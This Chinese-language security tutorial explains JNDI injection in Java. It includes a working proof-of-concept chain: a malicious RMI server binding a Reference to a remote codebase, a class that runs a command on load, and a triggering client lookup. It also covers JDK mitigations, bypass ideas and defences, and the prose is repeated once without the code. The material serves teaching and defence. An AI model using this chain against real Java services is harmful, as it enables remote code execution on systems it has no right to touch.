JNDI注入的产生及利用
字数 1897 2025-08-09 17:09:29

JNDI注入原理与利用详解

一、JNDI基础概念

JNDI(Java Naming and Directory Interface)是Java提供的用于目录服务的API,它允许Java客户端通过名称发现和查找数据和资源。简单来说,JNDI就是将名字和对象绑定,通过名字检索对象。

JNDI支持的主要服务:

  • DNS
  • LDAP
  • CORBA
  • RMI

二、JNDI注入原理

1. 基本概念

JNDI注入是指攻击者将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件。当满足以下条件时,会导致远程代码执行:

  1. 客户端的lookup()函数参数外部可控
  2. 或Reference类构造方法的classFactoryLocation参数外部可控

2. 利用条件

  • 客户端条件:lookup()方法的参数可控
  • 服务端条件:使用Reference时,classFactoryLocation参数可控

3. 可应用环境

  • RMI:通过JNDI Reference远程调用object方法
  • CORBA IOR:远程获取实现类
  • LDAP:通过序列化对象、JNDI Reference或ldap地址

三、RMI环境下的JNDI注入

1. RMI基础

RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制:

  • 远程服务器实现具体Java方法并提供接口
  • 客户端根据接口定义提供参数调用远程方法
  • 依赖JRMP(Java Remote Message Protocol)通信协议
  • 对象通过序列化方式进行编码传输

2. RMI为什么易受JNDI注入

服务端代码示例:

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1888);
Naming.bind("rmi://0.0.0.0:1888/hello", rhello);

客户端代码示例:

Registry registry = LocateRegistry.getRegistry("远程服务器地址",1888);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");

当客户端访问RMI注册表并查找"hello"时,服务端会返回绑定的对象,客户端可以调用其方法。如果攻击者控制了lookup的参数或服务端的Reference配置,就可以实现注入。

四、JNDI注入实现步骤

1. 构造恶意服务端

服务端代码示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(7777);
        Reference reference = new Reference("test", "test", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);
    }
}

关键点:

  • 使用ReferenceWrapper封装Reference对象(因为Reference未实现Remote接口)
  • Reference构造参数:
    • className: 远程加载时使用的类名
    • factory: 加载的class中需要实例化的类名
    • factoryLocation: 提供classes数据的地址(支持file/ftp/http等协议)

2. 准备恶意类

恶意类代码示例:

import java.lang.Runtime;

public class test {
    public test() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

将此代码编译为class文件并放置在HTTP服务器上(如http://localhost/test.class)

3. 触发漏洞的客户端

客户端代码示例:

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception {
        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
    }
}

执行流程:

  1. 客户端调用lookup查找"rmi://127.0.0.1:7777/calc"
  2. 服务端返回Reference对象
  3. 客户端从指定URL(http://localhost/)下载并执行恶意class

五、JDK版本限制与绕过

1. JDK安全更新历史

  • JDK 6u45、7u21之后

    • java.rmi.server.useCodebaseOnly默认设为true
    • 禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类
  • JDK 6u141、7u131、8u121之后

    • 增加com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false
    • 禁止RMI和CORBA协议使用远程codebase
    • 但仍可通过LDAP协议进行JNDI注入
  • JDK 6u211、7u201、8u191之后

    • 增加com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false
    • 禁止LDAP协议使用远程codebase

2. 高版本JDK绕过思路

  1. 利用本地存在的gadget链
  2. 利用其他未受限制的协议或服务
  3. 利用本地Classpath中已存在的类

六、防御措施

  1. 升级JDK到最新安全版本
  2. 避免将用户输入直接传递给JNDI lookup方法
  3. 设置系统属性限制远程代码加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 使用白名单验证JNDI查找的名称
  5. 对用户输入进行严格的过滤和校验

七、总结

JNDI注入是一种严重的远程代码执行漏洞,主要利用JNDI的Reference机制动态加载远程恶意类。虽然高版本JDK已经通过默认配置限制了这种攻击方式,但在特定环境下仍可能存在风险。开发者应当充分了解其原理,采取适当的防御措施,避免系统遭受此类攻击。

JNDI注入原理与利用详解 一、JNDI基础概念 JNDI(Java Naming and Directory Interface)是Java提供的用于目录服务的API,它允许Java客户端通过名称发现和查找数据和资源。简单来说,JNDI就是将名字和对象绑定,通过名字检索对象。 JNDI支持的主要服务: DNS LDAP CORBA RMI 二、JNDI注入原理 1. 基本概念 JNDI注入是指攻击者将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件。当满足以下条件时,会导致远程代码执行: 客户端的lookup()函数参数外部可控 或Reference类构造方法的classFactoryLocation参数外部可控 2. 利用条件 客户端条件 :lookup()方法的参数可控 服务端条件 :使用Reference时,classFactoryLocation参数可控 3. 可应用环境 RMI:通过JNDI Reference远程调用object方法 CORBA IOR:远程获取实现类 LDAP:通过序列化对象、JNDI Reference或ldap地址 三、RMI环境下的JNDI注入 1. RMI基础 RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制: 远程服务器实现具体Java方法并提供接口 客户端根据接口定义提供参数调用远程方法 依赖JRMP(Java Remote Message Protocol)通信协议 对象通过序列化方式进行编码传输 2. RMI为什么易受JNDI注入 服务端代码示例: 客户端代码示例: 当客户端访问RMI注册表并查找"hello"时,服务端会返回绑定的对象,客户端可以调用其方法。如果攻击者控制了lookup的参数或服务端的Reference配置,就可以实现注入。 四、JNDI注入实现步骤 1. 构造恶意服务端 服务端代码示例: 关键点: 使用 ReferenceWrapper 封装 Reference 对象(因为 Reference 未实现 Remote 接口) Reference 构造参数: className: 远程加载时使用的类名 factory: 加载的class中需要实例化的类名 factoryLocation: 提供classes数据的地址(支持file/ftp/http等协议) 2. 准备恶意类 恶意类代码示例: 将此代码编译为class文件并放置在HTTP服务器上(如 http://localhost/test.class ) 3. 触发漏洞的客户端 客户端代码示例: 执行流程: 客户端调用lookup查找"rmi://127.0.0.1:7777/calc" 服务端返回Reference对象 客户端从指定URL(http://localhost/)下载并执行恶意class 五、JDK版本限制与绕过 1. JDK安全更新历史 JDK 6u45、7u21之后 : java.rmi.server.useCodebaseOnly 默认设为true 禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的 java.rmi.server.codebase 指定路径加载类 JDK 6u141、7u131、8u121之后 : 增加 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为false 禁止RMI和CORBA协议使用远程codebase 但仍可通过LDAP协议进行JNDI注入 JDK 6u211、7u201、8u191之后 : 增加 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为false 禁止LDAP协议使用远程codebase 2. 高版本JDK绕过思路 利用本地存在的gadget链 利用其他未受限制的协议或服务 利用本地Classpath中已存在的类 六、防御措施 升级JDK到最新安全版本 避免将用户输入直接传递给JNDI lookup方法 设置系统属性限制远程代码加载: 使用白名单验证JNDI查找的名称 对用户输入进行严格的过滤和校验 七、总结 JNDI注入是一种严重的远程代码执行漏洞,主要利用JNDI的Reference机制动态加载远程恶意类。虽然高版本JDK已经通过默认配置限制了这种攻击方式,但在特定环境下仍可能存在风险。开发者应当充分了解其原理,采取适当的防御措施,避免系统遭受此类攻击。